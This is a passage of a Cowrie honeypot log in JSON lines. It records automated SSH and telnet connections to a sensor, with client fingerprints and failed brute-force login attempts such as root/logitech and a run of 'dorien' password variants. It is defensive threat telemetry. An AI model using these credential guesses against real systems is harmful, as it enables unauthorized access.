e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:20.744608Z","src_ip":"194.59.206.2","session":"64563d14a2ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:20.844560Z","src_ip":"194.59.206.2","session":"64563d14a2ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":43572,"dst_ip":"10.17.0.5","dst_port":22,"session":"b10e53e20588","protocol":"ssh","message":"New connection: 171.244.201.80:43572 (10.17.0.5:22) [session: b10e53e20588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:31.130447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:31.135160Z","src_ip":"171.244.201.80","session":"b10e53e20588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:31.377153Z","src_ip":"171.244.201.80","session":"b10e53e20588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e8e5d4942b7","protocol":"telnet","message":"New connection: 213.108.3.46:53932 (10.17.0.5:23) [session: 4e8e5d4942b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:31.970161Z"}
{"eventid":"cowrie.session.closed","duration":0.015442609786987305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:31.985478Z","src_ip":"213.108.3.46","session":"4e8e5d4942b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ftpusers","message":"login attempt [root/ftpusers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:32.381064Z","src_ip":"171.244.201.80","session":"b10e53e20588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:33.629261Z","src_ip":"171.244.201.80","session":"b10e53e20588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44140,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90829604add","protocol":"telnet","message":"New connection: 152.42.224.71:44140 (10.17.0.5:23) [session: f90829604add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:35.658474Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":40112,"dst_ip":"10.17.0.5","dst_port":22,"session":"2814b9ac02f2","protocol":"ssh","message":"New connection: 196.189.237.92:40112 (10.17.0.5:22) [session: 2814b9ac02f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:43.464375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:43.472922Z","src_ip":"196.189.237.92","session":"2814b9ac02f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:43.640370Z","src_ip":"196.189.237.92","session":"2814b9ac02f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bullet","message":"login attempt [root/bullet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:44.334892Z","src_ip":"196.189.237.92","session":"2814b9ac02f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:45.504815Z","src_ip":"196.189.237.92","session":"2814b9ac02f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":52340,"dst_ip":"10.17.0.5","dst_port":22,"session":"f415c6741d4b","protocol":"ssh","message":"New connection: 213.209.159.56:52340 (10.17.0.5:22) [session: f415c6741d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:51.214978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:51.220255Z","src_ip":"213.209.159.56","session":"f415c6741d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:51.303058Z","src_ip":"213.209.159.56","session":"f415c6741d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien","message":"login attempt [dorien/dorien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:51.703920Z","src_ip":"213.209.159.56","session":"f415c6741d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien1","message":"login attempt [dorien/dorien1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:52.790670Z","src_ip":"213.209.159.56","session":"f415c6741d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien123","message":"login attempt [dorien/dorien123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:53.877159Z","src_ip":"213.209.159.56","session":"f415c6741d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37780,"dst_ip":"10.17.0.5","dst_port":22,"session":"48036465af1c","protocol":"ssh","message":"New connection: 103.176.20.57:37780 (10.17.0.5:22) [session: 48036465af1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:54.915285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:54.920553Z","src_ip":"103.176.20.57","session":"48036465af1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien1234","message":"login attempt [dorien/dorien1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:54.967248Z","src_ip":"213.209.159.56","session":"f415c6741d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:55.173829Z","src_ip":"103.176.20.57","session":"48036465af1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345","message":"login attempt [root/aa12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:55.932863Z","src_ip":"103.176.20.57","session":"48036465af1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien12345","message":"login attempt [dorien/dorien12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:56.052386Z","src_ip":"213.209.159.56","session":"f415c6741d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:57.139255Z","src_ip":"213.209.159.56","session":"f415c6741d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:57.188947Z","src_ip":"103.176.20.57","session":"48036465af1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":48024,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7c2c353b7c9","protocol":"ssh","message":"New connection: 103.82.132.16:48024 (159.203.135.109:22) [session: f7c2c353b7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:59.217383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:59.226051Z","src_ip":"103.82.132.16","session":"f7c2c353b7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:22:59.486443Z","src_ip":"103.82.132.16","session":"f7c2c353b7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234554321q","message":"login attempt [root/1234554321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:00.275141Z","src_ip":"103.82.132.16","session":"f7c2c353b7c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:01.539329Z","src_ip":"103.82.132.16","session":"f7c2c353b7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36554,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc658eb96aa","protocol":"telnet","message":"New connection: 152.42.224.71:36554 (10.17.0.5:23) [session: 5bc658eb96aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:02.131844Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":45360,"dst_ip":"159.203.135.109","dst_port":22,"session":"1793d9f55182","protocol":"ssh","message":"New connection: 193.228.128.84:45360 (159.203.135.109:22) [session: 1793d9f55182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:07.590122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:07.594729Z","src_ip":"193.228.128.84","session":"1793d9f55182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:07.697785Z","src_ip":"193.228.128.84","session":"1793d9f55182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"logitech","message":"login attempt [root/logitech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:08.004609Z","src_ip":"193.228.128.84","session":"1793d9f55182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:09.110388Z","src_ip":"193.228.128.84","session":"1793d9f55182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56608,"dst_ip":"159.203.135.109","dst_port":22,"session":"af567fe813bd","protocol":"ssh","message":"New connection: 185.236.22.41:56608 (159.203.135.109:22) [session: af567fe813bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:17.111735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:17.116536Z","src_ip":"185.236.22.41","session":"af567fe813bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:17.233047Z","src_ip":"185.236.22.41","session":"af567fe813bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090909","message":"login attempt [root/090909] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:17.559756Z","src_ip":"185.236.22.41","session":"af567fe813bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:18.776937Z","src_ip":"185.236.22.41","session":"af567fe813bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.187891244888306,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:21.846229Z","src_ip":"152.42.224.71","session":"f90829604add","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51534,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7cd6e6b6b19","protocol":"telnet","message":"New connection: 152.42.224.71:51534 (10.17.0.5:23) [session: e7cd6e6b6b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:28.420663Z"}
{"eventid":"cowrie.session.closed","duration":28.522120714187622,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:30.653822Z","src_ip":"152.42.224.71","session":"5bc658eb96aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":49406,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5fd0bd3a8c6","protocol":"ssh","message":"New connection: 163.7.4.169:49406 (10.17.0.5:22) [session: d5fd0bd3a8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:34.700678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:34.706238Z","src_ip":"163.7.4.169","session":"d5fd0bd3a8c6","protocol":"ssh"}
